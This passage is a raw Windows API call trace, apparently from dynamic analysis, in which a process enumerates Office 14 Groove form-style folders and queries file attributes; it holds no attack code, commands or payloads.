Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.967] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.967] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.967] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.967] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c85e0 [0078.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6048 [0078.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.968] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.968] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.968] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.969] GetLastError () returned 0x12 [0078.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.969] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.969] GetLastError () returned 0x12 [0078.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.969] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.969] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casual.css", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Country.css", cAlternateFileName="")) returned 1 [0078.969] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert", cAlternateFileName="")) returned 1 [0078.970] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.971] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0078.971] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.971] NtClose (Handle=0x180) returned 0x0 [0078.971] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.971] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.972] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.972] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.972] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.972] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.972] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8640 [0078.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6360 [0078.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.973] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.973] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.973] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8660 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6468 [0078.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.974] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.974] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.974] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8680 [0078.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d6570 [0078.975] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x49c0) returned 0x11dc790 [0078.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.975] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.975] GetLastError () returned 0x12 [0078.975] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.975] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.975] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.975] GetLastError () returned 0x12 [0078.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.976] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.976] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.976] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0078.976] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x72e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Earthy.css", cAlternateFileName="")) returned 1 [0078.976] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck", cAlternateFileName="")) returned 1 [0078.976] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.977] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.977] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.977] NtClose (Handle=0x164) returned 0x0 [0078.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.978] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.978] FindNextFileW (in: hFindFile=0x2e9080, 